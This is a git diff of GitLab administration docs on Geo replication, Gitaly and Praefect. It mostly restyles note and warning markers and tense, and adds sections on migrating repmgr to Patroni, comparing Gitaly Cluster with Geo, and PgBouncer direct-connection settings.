@@ -171,7 +171,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html)
for more details.
- NOTE: **Note:**
+ NOTE:
If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add
`127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through
`127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258).
@@ -290,7 +290,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
gitlab-ctl stop sidekiq
```
- NOTE: **Note:**
+ NOTE:
This step is important so we don't try to execute anything before the node is fully configured.
1. [Check TCP connectivity](../../raketasks/maintenance.md) to the **primary** node's PostgreSQL server:
@@ -299,7 +299,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
gitlab-rake gitlab:tcp_check[<primary_node_ip>,5432]
```
- NOTE: **Note:**
+ NOTE:
If this step fails, you may be using the wrong IP address, or a firewall may
be preventing access to the server. Check the IP address, paying close
attention to the difference between public and private addresses and ensure
@@ -404,7 +404,7 @@ needed files for streaming replication.
The directories used are the defaults that are set up in Omnibus. If you have
changed any defaults, configure it as you see fit replacing the directories and paths.
-CAUTION: **Warning:**
+WARNING:
Make sure to run this on the **secondary** server as it removes all PostgreSQL's
data before running `pg_basebackup`.
@@ -421,7 +421,7 @@ data before running `pg_basebackup`.
1. Execute the command below to start a backup/restore and begin the replication
- CAUTION: **Warning:**
+ WARNING:
Each Geo **secondary** node must have its own unique replication slot name.
Using the same slot name between two secondaries will break PostgreSQL replication.
@@ -431,14 +431,9 @@ data before running `pg_basebackup`.
--host=<primary_node_ip>
```
- NOTE: **Note:**
+ NOTE:
Replication slot names must only contain lowercase letters, numbers, and the underscore character.
- NOTE: **Note:**
- In GitLab 13.4, a seed project is added when GitLab is first installed. This makes it necessary to pass `--force` even
- on a new Geo secondary node. There is an [issue to account for seed projects](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5618)
- when checking the database.
-
When prompted, enter the _plaintext_ password you set up for the `gitlab_replicator`
user in the first step.
@@ -499,6 +494,8 @@ This experimental implementation has the following limitations:
For instructions about how to set up Patroni on the primary node, see the
[PostgreSQL replication and failover with Omnibus GitLab](../../postgresql/replication_and_failover.md#patroni) page.
+If you are currently using `repmgr` on your Geo primary, see [these instructions](#migrating-from-repmgr-to-patroni) for migrating from `repmgr` to Patroni.
+
A production-ready and secure setup requires at least three Patroni instances on
the primary, and a similar configuration on the secondary nodes. Be sure to use
password credentials and other database best practices.
@@ -549,6 +546,13 @@ patroni['standby_cluster']['primary_slot_name'] = 'geo_secondary' # or the uniqu
patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD'
```
+## Migrating from repmgr to Patroni
+
+1. Before migrating, it is recommended that there is no replication lag between the primary and secondary sites and that replication is paused. In GitLab 13.2 and later, you can pause and resume replication with `gitlab-ctl geo-replication-pause` and `gitlab-ctl geo-replication-resume` on a Geo secondary database node.
+1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replicaton_slots'] = { '<slot_name>' => 'physical' }`
+to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This will ensure that Patroni recognizes the replication slot as permanent and will not drop it upon restarting.
+1. If database replication to the secondary was paused before migration, resume replication once Patroni is confirmed working on the primary.
+
## Troubleshooting
Read the [troubleshooting document](../replication/troubleshooting.md).
diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md
index 33a7bc38b6e..1fb41fbb53a 100644
--- a/doc/administration/geo/setup/external_database.md
+++ b/doc/administration/geo/setup/external_database.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -11,7 +11,7 @@ This document is relevant if you are using a PostgreSQL instance that is *not
managed by Omnibus*. This includes cloud-managed instances like AWS RDS, or
manually installed and configured PostgreSQL instances.
-NOTE: **Note:**
+NOTE:
We strongly recommend running Omnibus-managed instances as they are actively
developed and tested. We aim to be compatible with most external
(not managed by Omnibus) databases but we do not guarantee compatibility.
@@ -186,7 +186,7 @@ to grant additional roles to your tracking database user (by default, this is
If you have an external database ready to be used as the tracking database,
follow the instructions below to use it:
-NOTE: **Note:**
+NOTE:
If you want to use AWS RDS as a tracking database, make sure it has access to
the secondary database. Unfortunately, just assigning the same security group is not enough as
outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to explicitly add an inbound
diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md
index a4d9fcba14d..8308cbfa82e 100644
--- a/doc/administration/geo/setup/index.md
+++ b/doc/administration/geo/setup/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -12,7 +12,7 @@ These instructions assume you have a working instance of GitLab. They guide you
1. Making your existing instance the **primary** node.
1. Adding **secondary** nodes.
-CAUTION: **Caution:**
+WARNING:
The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all nodes.**
## Using Omnibus GitLab
diff --git a/doc/administration/git_annex.md b/doc/administration/git_annex.md
index 59c1e621e46..e21a8ac7e84 100644
--- a/doc/administration/git_annex.md
+++ b/doc/administration/git_annex.md
@@ -1,14 +1,14 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/git_annex.html'
---
# Git annex
-CAUTION: **Warning:**
+WARNING:
[Git Annex support was removed](https://gitlab.com/gitlab-org/gitlab/-/issues/1648)
in GitLab 9.0. Read through the [migration guide from git-annex to Git LFS](../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md).
@@ -94,7 +94,7 @@ one is located in `config.yml` of GitLab Shell.
## Using GitLab git-annex
-NOTE: **Note:**
+NOTE:
Your Git remotes must be using the SSH protocol, not HTTP(S).
Here is an example workflow of uploading a very large file and then checking it
diff --git a/doc/administration/git_protocol.md b/doc/administration/git_protocol.md
index 841e636bd0a..ca4fa0549d0 100644
--- a/doc/administration/git_protocol.md
+++ b/doc/administration/git_protocol.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
description: "Set and configure Git protocol v2"
---
diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md
index 0d9c761e078..e0b0d52fe3f 100644
--- a/doc/administration/gitaly/index.md
+++ b/doc/administration/gitaly/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -22,10 +22,15 @@ In the Gitaly documentation:
GitLab end users do not have direct access to Gitaly. Gitaly only manages Git
repository access for GitLab. Other types of GitLab data aren't accessed using Gitaly.
-CAUTION: **Caution:**
-From GitLab 13.0, Gitaly support for NFS is deprecated. In GitLab 14.0, Gitaly support
-for NFS is scheduled to be removed. Upgrade to [Gitaly Cluster](praefect.md) as soon as
-possible.
+<!-- vale gitlab.FutureTense = NO -->
+
+WARNING:
+From GitLab 13.0, Gitaly support for NFS is deprecated. As of GitLab 14.0, NFS-related issues
+with Gitaly will no longer be addressed. Upgrade to [Gitaly Cluster](praefect.md) as soon as
+possible. Tools to [enable bulk moves](https://gitlab.com/groups/gitlab-org/-/epics/4916)
+of projects to Gitaly Cluster are planned.
+
+<!-- vale gitlab.FutureTense = YES -->
## Architecture
@@ -68,7 +73,7 @@ this default configuration used by:
However, Gitaly can be deployed to its own server, which can benefit GitLab installations that span
multiple machines.
-NOTE: **Note:**
+NOTE:
When configured to run on their own servers, Gitaly servers
[must be upgraded](https://docs.gitlab.com/omnibus/update/#upgrading-gitaly-servers) before Gitaly
clients in your cluster.
@@ -121,7 +126,7 @@ The following list depicts the network architecture of Gitaly:
- Authentication is done through a static token which is shared among the Gitaly and GitLab Rails
nodes.
-DANGER: **Warning:**
+WARNING:
Gitaly servers must not be exposed to the public internet as Gitaly's network traffic is unencrypted
by default. The use of firewall is highly recommended to restrict access to the Gitaly server.
Another option is to [use TLS](#enable-tls-support).
@@ -140,7 +145,7 @@ We assume your GitLab installation has three repository storages:
You can use as few as one server with one repository storage if desired.
-NOTE: **Note:**
+NOTE:
The token referred to throughout the Gitaly documentation is just an arbitrary password selected by
the administrator. It is unrelated to tokens created for the GitLab API or other similar web API
tokens.
@@ -433,9 +438,9 @@ server (with `gitaly_address`) unless you setup with special
path: /some/local/path
```
- NOTE: **Note:**
- `/some/local/path` should be set to a local folder that exists, however no data will be stored in
- this folder. This will no longer be necessary after
+ NOTE:
+ `/some/local/path` should be set to a local folder that exists, however no data is stored in
+ this folder. This requirement is scheduled to be removed when
[this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved.
1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source).
@@ -450,7 +455,7 @@ server (with `gitaly_address`) unless you setup with special
When you tail the Gitaly logs on your Gitaly server, you should see requests coming in. One sure way
to trigger a Gitaly request is to clone a repository from GitLab over HTTP or HTTPS.
-DANGER: **Warning:**
+WARNING:
If you have [server hooks](../server_hooks.md) configured, either per repository or globally, you
must move these to the Gitaly servers. If you have multiple Gitaly servers, copy your server hooks
to all Gitaly servers.
@@ -461,7 +466,7 @@ GitLab can reside on the same server as one of many Gitaly servers, but doesn't
configuration that mixes local and remote configuration. The following setup is incorrect, because:
- All addresses must be reachable from the other Gitaly servers.
-- `storage1` will be assigned a Unix socket for `gitaly_address` which is
+- `storage1` is assigned a Unix socket for `gitaly_address` which is
invalid for some of the Gitaly servers.
```ruby
@@ -493,7 +498,7 @@ gitaly['key_path'] = "/etc/gitlab/ssl/key.pem"
```
`path` can only be included for storage shards on the local Gitaly server.
-If it's excluded, default Git storage directory will be used for that storage shard.
+If it's excluded, default Git storage directory is used for that storage shard.
### Disable Gitaly where not required (optional)
@@ -529,12 +534,18 @@ To disable Gitaly on a GitLab server:
## Enable TLS support
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22602) in GitLab 11.8.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22602) in GitLab 11.8.
+> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3160) in GitLab 13.6, outgoing TLS connections to GitLab provide client certificates if configured.
Gitaly supports TLS encryption. To communicate with a Gitaly instance that listens for secure
connections, you must use `tls://` URL scheme in the `gitaly_address` of the corresponding
storage entry in the GitLab configuration.
+Gitaly provides the same server certificates as client certificates in TLS
+connections to GitLab. This can be used as part of a mutual TLS authentication strategy
+when combined with reverse proxies (for example, NGINX) that validate client certificate
+to grant access to GitLab.
+
You must supply your own certificates as this isn't provided automatically. The certificate
corresponding to each Gitaly server must be installed on that Gitaly server.
@@ -584,7 +595,7 @@ To configure Gitaly with TLS:
```
1. Copy all Gitaly server certificates (or their certificate authority) to
- `/etc/gitlab/trusted-certs` so that Gitaly servers will trust the certificate when calling into themselves
+ `/etc/gitlab/trusted-certs` so that Gitaly servers trust the certificate when calling into themselves
or other Gitaly servers:
```shell
@@ -640,9 +651,9 @@ To configure Gitaly with TLS:
path: /some/local/path
```
- NOTE: **Note:**
- `/some/local/path` should be set to a local folder that exists, however no data will be stored
- in this folder. This will no longer be necessary after
+ NOTE:
+ `/some/local/path` should be set to a local folder that exists, however no data is stored
+ in this folder. This requirement is scheduled to be removed when
[Gitaly issue #1282](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved.
1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source).
@@ -662,7 +673,7 @@ To configure Gitaly with TLS:
```
1. Copy all Gitaly server certificates (or their certificate authority) to the system trusted
- certificates folder so Gitaly server will trust the certificate when calling into itself or other Gitaly
+ certificates folder so Gitaly server trusts the certificate when calling into itself or other Gitaly
servers.
```shell
@@ -716,7 +727,7 @@ We recommend:
- At least 300MB memory per worker.
- No more than one worker per core.
-NOTE: **Note:**
+NOTE:
`gitaly-ruby` is planned to be eventually removed. To track progress, see the
[Remove the Gitaly-Ruby sidecar](https://gitlab.com/groups/gitlab-org/-/epics/2862) epic.
@@ -798,9 +809,9 @@ You can observe the behavior of this queue using the Gitaly logs and Prometheus:
- `gitaly_rate_limiting_queued`.
- `gitaly_rate_limiting_seconds`.
-NOTE: **Note:**
+NOTE:
Though the name of the Prometheus metric contains `rate_limiting`, it is a concurrency limiter, not
-a rate limiter. If a Gitaly client makes 1000 requests in a row very quickly, concurrency will not
+a rate limiter. If a Gitaly client makes 1000 requests in a row very quickly, concurrency does not
exceed 1 and the concurrency limiter has no effect.
## Rotate Gitaly authentication token
@@ -829,7 +840,7 @@ behavior of your GitLab installation using Prometheus. Use the following Prometh
sum(rate(gitaly_authentications_total[5m])) by (enforced, status)
```
-In a system where authentication is configured correctly and where you have live traffic, you will
+In a system where authentication is configured correctly and where you have live traffic, you
see something like this:
```prometheus
@@ -885,7 +896,7 @@ To update to a new Gitaly authentication token, on each Gitaly client **and** Gi
```
If you run your [Prometheus query](#verify-authentication-monitoring) while this change is
-being rolled out, you will see non-zero values for the `enforced="false",status="denied"` counter.
+being rolled out, you see non-zero values for the `enforced="false",status="denied"` counter.
### Ensure there are no authentication failures
@@ -908,7 +919,7 @@ your Gitaly servers as follows:
gitaly['auth_transitioning'] = false
```
-CAUTION: **Caution:**
+WARNING:
Without completing this step, you have **no Gitaly authentication**.
### Verify authentication is enforced
@@ -959,7 +970,7 @@ not an external process, there was very little overhead between:
- GitLab application code that tried to look up data in Git repositories.
- The Git implementation itself.
-Because the combination of Rugged and Unicorn was so efficient, GitLab's application code ended up with lots of
+Because the combination of Rugged and Unicorn was so efficient, the GitLab application code ended up with lots of
duplicate Git object lookups. For example, looking up the `master` commit a dozen times in one
request. We could write inefficient code without poor performance.
@@ -995,9 +1006,9 @@ enables direct Git access.
When GitLab calls a function that has a "Rugged patch", it performs two checks:
- Is the feature flag for this patch set in the database? If so, the feature flag setting controls
- GitLab's use of "Rugged patch" code.
+ the GitLab use of "Rugged patch" code.
- If the feature flag is not set, GitLab tries accessing the filesystem underneath the
- Gitaly server directly. If it can, it will use the "Rugged patch":
+ Gitaly server directly. If it can, it uses the "Rugged patch":
- If using Unicorn.
- If using Puma and [thread count](../../install/requirements.md#puma-threads) is set
to `1`.
@@ -1070,7 +1081,7 @@ gitaly-debug -h
remote: GitLab: 401 Unauthorized
```
-You will need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab
+You need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab
app nodes).
### Client side gRPC logs
diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md
index d091ae5895a..6eaafae6015 100644
--- a/doc/administration/gitaly/praefect.md
+++ b/doc/administration/gitaly/praefect.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -12,7 +12,7 @@ be run in a clustered configuration to increase fault tolerance. In this
configuration, every Git repository is stored on every Gitaly node in the
cluster. Multiple clusters (or shards), can be configured.
-NOTE: **Note:**
+NOTE:
Gitaly Clusters can be created using [GitLab Core](https://about.gitlab.com/pricing/#self-managed)
and higher tiers. However, technical support is limited to GitLab Premium and Ultimate customers
only. Not available in GitLab.com.
@@ -47,18 +47,40 @@ The availability objectives for Gitaly clusters are:
[Faster outage detection](https://gitlab.com/gitlab-org/gitaly/-/issues/2608)
is planned to improve this to less than 1 second.
-The current version supports:
+Gitaly Cluster supports:
-- Eventual consistency of the secondary replicas.
-- Automatic failover from the primary to the secondary.
-- Reporting of possible data loss if replication queue is non empty.
-- Marking the newly promoted primary read only if possible data loss is
- detected.
+- [Strong consistency](#strong-consistency) of the secondary replicas.
+- [Automatic failover](#automatic-failover-and-leader-election) from the primary to the secondary.
+- Reporting of possible data loss if replication queue is non-empty.
+- Marking repositories as [read only](#read-only-mode) if data loss is detected to prevent data inconsistencies.
Follow the [HA Gitaly epic](https://gitlab.com/groups/gitlab-org/-/epics/1489)
for improvements including
[horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013).
+## Gitaly Cluster compared to Geo
+
+Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of:
+
+- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are
+ not aware when Gitaly Cluster is used.
+- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for
+ an entire instance of GitLab. Users know when they are using Geo for
+ [replication](../geo/index.md). Geo [replicates multiple datatypes](../geo/replication/datatypes.md#limitations-on-replicationverification),
+ including Git data.
+
+The following table outlines the major differences between Gitaly Cluster and Geo:
+
+| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for |
+|:---------------|:---------|:----------|:-------------------|:-----------------------------------------------------|:------------------------------|:------------------------|
+| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](#automatic-failover-and-leader-election) | [Strong](#strong-consistency) | Data storage in Git |
+| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance |
+
+For more information, see:
+
+- [Gitaly architecture](index.md#architecture).
+- Geo [use cases](../geo/index.md#use-cases) and [architecture](../geo/index.md#architecture).
+
## Cluster or shard
Gitaly supports multiple models of scaling:
@@ -69,8 +91,8 @@ Gitaly supports multiple models of scaling:
- Sharding using [repository storage paths](../repository_storage_paths.md), where each repository
is stored on the assigned Gitaly node. All requests are routed to this node.
-| Cluster | Shard |
-|---|---|
+| Cluster | Shard |
+|:--------------------------------------------------|:----------------------------------------------|
| ![Cluster example](img/cluster_example_v13_3.png) | ![Shard example](img/shard_example_v13_3.png) |
Generally, Gitaly Cluster can replace sharded configurations, at the expense of additional storage
@@ -122,9 +144,7 @@ package (highly recommended), follow the steps below:
Before beginning, you should already have a working GitLab instance. [Learn how
to install GitLab](https://about.gitlab.com/install/).
-Provision a PostgreSQL server (PostgreSQL 11 or newer). Configuration through
-the Omnibus GitLab distribution is not yet supported. Follow this
-[issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2476) for updates.
+Provision a PostgreSQL server (PostgreSQL 11 or newer).
Prepare all your new nodes by [installing
GitLab](https://about.gitlab.com/install/).
@@ -133,7 +153,7 @@ GitLab](https://about.gitlab.com/install/).
- 3 Gitaly nodes (high CPU, high memory, fast storage)
- 1 GitLab server
-You will need the IP/host address for each node.
+You need the IP/host address for each node.
1. `LOAD_BALANCER_SERVER_ADDRESS`: the IP/host address of the load balancer
1. `POSTGRESQL_SERVER_ADDRESS`: the IP/host address of the PostgreSQL server
@@ -149,7 +169,7 @@ If you are using Google Cloud Platform, SoftLayer, or any other vendor that prov
The communication between components is secured with different secrets, which
are described below. Before you begin, generate a unique secret for each, and
-make note of it. This will make it easy to replace these placeholder tokens
+make note of it. This makes it easy to replace these placeholder tokens
with secure tokens as you complete the setup process.
1. `GITLAB_SHELL_SECRET_TOKEN`: this is used by Git hooks to make callback HTTP
@@ -164,11 +184,11 @@ with secure tokens as you complete the setup process.
1. `PRAEFECT_SQL_PASSWORD`: this password is used by Praefect to connect to
PostgreSQL.
-We will note in the instructions below where these secrets are required.
+We note in the instructions below where these secrets are required.
### PostgreSQL
-NOTE: **Note:**
+NOTE:
Do not store the GitLab application database and the Praefect
database on the same PostgreSQL server if using
[Geo](../geo/index.md). The replication state is internal to each instance
@@ -184,13 +204,13 @@ failure. For greater fault tolerance, the following options are available:
- Use a cloud-managed PostgreSQL service. AWS
[Relational Database Service](https://aws.amazon.com/rds/) is recommended.
-To complete this section you will need:
+To complete this section you need:
- 1 Praefect node
- 1 PostgreSQL server (PostgreSQL 11 or newer)
- An SQL user with permissions to create databases
-During this section, we will configure the PostgreSQL server, from the Praefect
+During this section, we configure the PostgreSQL server, from the Praefect
node, using `psql` which is installed by Omnibus GitLab.
1. SSH into the **Praefect** node and login as root:
@@ -207,7 +227,7 @@ node, using `psql` which is installed by Omnibus GitLab.
/opt/gitlab/embedded/bin/psql -U postgres -d template1 -h POSTGRESQL_SERVER_ADDRESS
```
- Create a new user `praefect` which will be used by Praefect. Replace
+ Create a new user `praefect` to be used by Praefect. Replace
`PRAEFECT_SQL_PASSWORD` with the strong password you generated in the
preparation step.
@@ -234,8 +254,23 @@ The database used by Praefect is now configured.
To reduce PostgreSQL resource consumption, we recommend setting up and configuring
[PgBouncer](https://www.pgbouncer.org/) in front of the PostgreSQL instance. To do
-this, replace value of the `POSTGRESQL_SERVER_ADDRESS` with corresponding IP or host
-address of the PgBouncer instance.
+this, set the corresponding IP or host address of the PgBouncer instance in
+`/etc/gitlab/gitlab.rb` by changing the following settings:
+
+- `praefect['database_host']`, for the address.
+- `praefect['database_port']`, for the port.
+
+Because PgBouncer manages resources more efficiently, Praefect still requires a
+direct connection to the PostgreSQL database because it uses
+[LISTEN](https://www.postgresql.org/docs/11/sql-listen.html)
+functionality that is [not supported](https://www.pgbouncer.org/features.html) by
+PgBouncer with `pool_mode = transaction`.
+
+Therefore, `praefect['database_host_no_proxy']` and `praefect['database_port_no_proxy']`
+should be set to a direct connection and not a PgBouncer connection.
+
+Save the changes to `/etc/gitlab/gitlab.rb` and
+[reconfigure Praefect](../restart_gitlab.md#omnibus-gitlab-reconfigure).
This documentation doesn't provide PgBouncer installation instructions,
but you can:
@@ -267,7 +302,7 @@ The `praefect` user and its password should be included in the file (default is
`userlist.txt`) used by PgBouncer if the [`auth_file`](https://www.pgbouncer.org/config.html#auth_file)
configuration option is set.
-NOTE: **Note:**
+NOTE:
By default PgBouncer uses port `6432` to accept incoming
connections. You can change it by setting the [`listen_port`](https://www.pgbouncer.org/config.html#listen_port)
configuration option. We recommend setting it to the default port value (`5432`) used by
@@ -278,14 +313,13 @@ PostgreSQL instances. Otherwise you should change the configuration parameter
> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 13.4, Praefect nodes can no longer be designated as `primary`.
-NOTE: **Note:**
+NOTE:
If there are multiple Praefect nodes, complete these steps for **each** node.
-To complete this section you will need:
+To complete this section you need a [configured PostgreSQL server](#postgresql), including:
-- [Configured PostgreSQL server](#postgresql), including:
- - IP/host address (`POSTGRESQL_SERVER_ADDRESS`)
- - password (`PRAEFECT_SQL_PASSWORD`)
+- IP/host address (`POSTGRESQL_SERVER_ADDRESS`)
+- Password (`PRAEFECT_SQL_PASSWORD`)
Praefect should be run on a dedicated node. Do not run Praefect on the
application server, or a Gitaly node.
@@ -331,8 +365,8 @@ application server, or a Gitaly node.
```
1. Configure a strong `auth_token` for **Praefect** by editing
- `/etc/gitlab/gitlab.rb`. This will be needed by clients outside the cluster
- (like GitLab Shell) to communicate with the Praefect cluster :
+ `/etc/gitlab/gitlab.rb`. This is needed by clients outside the cluster
+ (like GitLab Shell) to communicate with the Praefect cluster:
```ruby
praefect['auth_token'] = 'PRAEFECT_EXTERNAL_TOKEN'
@@ -341,7 +375,7 @@ application server, or a Gitaly node.
1. Configure **Praefect** to connect to the PostgreSQL database by editing
`/etc/gitlab/gitlab.rb`.
- You will need to replace `POSTGRESQL_SERVER_ADDRESS` with the IP/host address
+ You need to replace `POSTGRESQL_SERVER_ADDRESS` with the IP/host address
of the database, and `PRAEFECT_SQL_PASSWORD` with the strong password set
above.
@@ -351,6 +385,8 @@ application server, or a Gitaly node.
praefect['database_user'] = 'praefect'
praefect['database_password'] = 'PRAEFECT_SQL_PASSWORD'
praefect['database_dbname'] = 'praefect_production'
+ praefect['database_host_no_proxy'] = 'POSTGRESQL_SERVER_ADDRESS'
+ praefect['database_port_no_proxy'] = 5432
```
If you want to use a TLS client certificate, the options below can be used:
@@ -364,7 +400,7 @@ application server, or a Gitaly node.
# praefect['database_sslrootcert'] = '/path/to/rootcert'
```
- By default Praefect will refuse to make an unencrypted connection to
+ By default, Praefect refuses to make an unencrypted connection to
PostgreSQL. You can override this by uncommenting the following line:
```ruby
@@ -377,15 +413,15 @@ application server, or a Gitaly node.
The virtual storage's name must match the configured storage name in GitLab
configuration. In a later step, we configure the storage name as `default`
so we use `default` here as well. This cluster has three Gitaly nodes `gitaly-1`,
- `gitaly-2`, and `gitaly-3`, which will be replicas of each other.
+ `gitaly-2`, and `gitaly-3`, which are intended to be replicas of each other.
- CAUTION: **Caution:**
+ WARNING:
If you have data on an already existing storage called
`default`, you should configure the virtual storage with another name and
[migrate the data to the Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster)
afterwards.
- Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which will be used by
+ Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which is used by
Praefect when communicating with Gitaly nodes in the cluster. This token is
distinct from the `PRAEFECT_EXTERNAL_TOKEN`.
@@ -479,6 +515,7 @@ To configure Praefect with TLS:
**For Omnibus GitLab**
1. Create certificates for Praefect servers.
+
1. On the Praefect servers, create the `/etc/gitlab/ssl` directory and copy your key
and certificate there:
@@ -497,7 +534,8 @@ To configure Praefect with TLS:
praefect['key_path'] = "/etc/gitlab/ssl/key.pem"
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Save the file and [reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
1. On the Praefect clients (including each Gitaly server), copy the certificates,
or their certificate authority, into `/etc/gitlab/trusted-certs`:
@@ -510,8 +548,10 @@ To configure Praefect with TLS:
```ruby
git_data_dirs({
- 'default' => { 'gitaly_address' => 'tls://praefect1.internal:3305' },
- 'storage1' => { 'gitaly_address' => 'tls://praefect2.internal:3305' },
+ "default" => {
+ "gitaly_address" => 'tls://LOAD_BALANCER_SERVER_ADDRESS:2305',
+ "gitaly_token" => 'PRAEFECT_EXTERNAL_TOKEN'
+ }
})
```
@@ -546,21 +586,18 @@ To configure Praefect with TLS:
repositories:
storages:
default:
- gitaly_address: tls://praefect1.internal:3305
- path: /some/local/path
- storage1:
- gitaly_address: tls://praefect2.internal:3305
+ gitaly_address: tls://LOAD_BALANCER_SERVER_ADDRESS:3305
path: /some/local/path
```
- NOTE: **Note:**
+ NOTE:
`/some/local/path` should be set to a local folder that exists, however no
- data will be stored in this folder. This will no longer be necessary after
+ data is stored in this folder. This requirement is scheduled to be removed when
[this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved.
1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source).
1. Copy all Praefect server certificates, or their certificate authority, to the system
- trusted certificates on each Gitaly server so the Praefect server will trust the
+ trusted certificates on each Gitaly server so the Praefect server trusts the
certificate when called by Gitaly servers:
```shell
@@ -582,10 +619,10 @@ To configure Praefect with TLS:
### Gitaly
-NOTE: **Note:**
+NOTE:
Complete these steps for **each** Gitaly node.
-To complete this section you will need:
+To complete this section you need:
- [Configured Praefect node](#praefect)
- 3 (or more) servers, with GitLab installed, to be configured as Gitaly nodes.
@@ -595,19 +632,19 @@ Every Gitaly server assigned to the Praefect cluster needs to be configured. The
configuration is the same as a normal [standalone Gitaly server](index.md),
except:
-- the storage names are exposed to Praefect, not GitLab
-- the secret token is shared with Praefect, not GitLab
+- The storage names are exposed to Praefect, not GitLab
+- The secret token is shared with Praefect, not GitLab
The configuration of all Gitaly nodes in the Praefect cluster can be identical,
because we rely on Praefect to route operations correctly.
Particular attention should be shown to:
-- the `gitaly['auth_token']` configured in this section must match the `token`
+- The `gitaly['auth_token']` configured in this section must match the `token`
value under `praefect['virtual_storages']` on the Praefect node. This was set
in the [previous section](#praefect). This document uses the placeholder
`PRAEFECT_INTERNAL_TOKEN` throughout.
-- the storage names in `git_data_dirs` configured in this section must match the
+- The storage names in `git_data_dirs` configured in this section must match the
storage names under `praefect['virtual_storages']` on the Praefect node. This
was set in the [previous section](#praefect). This document uses `gitaly-1`,
`gitaly-2`, and `gitaly-3` as Gitaly storage names.
@@ -659,8 +696,8 @@ documentation](index.md#configure-gitaly-servers).
```
1. Configure a strong `auth_token` for **Gitaly** by editing
- `/etc/gitlab/gitlab.rb`. This will be needed by clients to communicate with
- this Gitaly nodes. Typically, this token will be the same for all Gitaly
+ `/etc/gitlab/gitlab.rb`. This is needed by clients to communicate with
+ this Gitaly nodes. Typically, this token is the same for all Gitaly
nodes.
```ruby
